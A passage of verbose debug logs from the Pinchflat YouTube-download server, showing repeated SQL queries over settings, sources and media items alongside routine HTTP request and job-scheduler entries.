s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:15.544 [debug] QUERY OK source="settings" db=0.0ms idle=139.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:15.544 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:15.544 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:15.545 [info] Sent 200 in 1ms 16:57:27.219 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:29.643 [info] GET /media/755571a6-37b5-492e-bf09-cd1c4400778c/stream 16:57:29.643 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "755571a6-37b5-492e-bf09-cd1c4400778c", "v" => "1784835577"} Pipelines: [:maybe_basic_auth] 16:57:29.643 [debug] QUERY OK source="media_items" db=0.1ms idle=650.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["755571a6-37b5-492e-bf09-cd1c4400778c"] 16:57:29.643 [debug] Invalid range request for media item: 755571a6-37b5-492e-bf09-cd1c4400778c - serving full file 16:57:29.643 [info] Sent 200 in 608µs 16:57:46.323 [info] GET /api/v1/videos 16:57:46.323 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:57:46.344 [debug] QUERY OK source="media_items" db=20.7ms idle=1329.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:57:46.395 [info] Sent 200 in 72ms 16:57:57.220 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.764 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:58:09.869 [info] GET /media_profiles/new 16:58:09.869 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{"template_id" => "1"} Pipelines: [:browser] 16:58:09.869 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1412.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:58:09.869 [debug] QUERY OK source="settings" db=0.0ms idle=876.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:09.870 [debug] QUERY OK source="settings" db=0.1ms idle=876.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:09.870 [debug] QUERY OK source="settings" db=0.0ms idle=876.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:09.870 [debug] QUERY OK source="settings" db=0.0ms idle=412.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:09.870 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:09.871 [info] Sent 200 in 2ms 16:58:19.020 [info] GET /sources/1 16:58:19.020 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "1"} Pipelines: [:browser] 16:58:19.021 [debug] QUERY OK source="sources" db=0.1ms idle=1027.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:58:19.021 [debug] QUERY OK source="media_profiles" db=0.0ms idle=553.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:58:19.021 [debug] QUERY OK source="tasks" db=0.2ms idle=27.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 16:58:19.021 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=27.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [716, 31] 16:58:19.022 [debug] QUERY OK source="settings" db=0.0ms idle=28.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:19.022 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:19.022 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:19.022 [debug] QUERY OK source="sources" db=0.1ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:58:19.025 [debug] QUERY OK source="media_items" db=2.1ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:58:19.026 [debug] QUERY OK source="media_items" db=1.0ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 16:58:19.026 [debug] QUERY OK source="sources" db=0.0ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:58:19.027 [debug] QUERY OK source="media_items" db=0.3ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 16:58:19.027 [debug] QUERY OK source="media_items" db=0.7ms idle=4.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 16:58:19.028 [debug] QUERY OK source="sources" db=0.0ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:58:19.029 [debug] QUERY OK source="media_items" db=1.1ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 16:58:19.033 [debug] QUERY OK source="media_items" db=4.2ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 16:58:19.034 [info] Sent 200 in 13ms 16:58:27.221 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:27.638 [info] GET /sources/2 16:58:27.638 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "2"} Pipelines: [:browser] 16:58:27.638 [debug] QUERY OK source="sources" db=0.0ms idle=644.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:58:27.638 [debug] QUERY OK source="media_profiles" db=0.0ms idle=644.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:58:27.638 [debug] QUERY OK source="tasks" db=0.1ms idle=644.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 16:58:27.639 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=417.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [715, 373] 16:58:27.639 [debug] QUERY OK source="settings" db=0.0ms idle=161.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:27.639 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:27.639 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:27.640 [debug] QUERY OK source="sources" db=0.0ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:58:27.640 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:58:27.640 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 16:58:27.640 [debug] QUERY OK source="sources" db=0.0ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:58:27.641 [debug] QUERY OK source="media_items" db=0.0ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 16:58:27.641 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 16:58:27.641 [debug] QUERY OK source="sources" db=0.0ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:58:27.641 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 16:58:27.642 [debug] QUERY OK source="media_items" db=0.2ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 16:58:27.642 [info] Sent 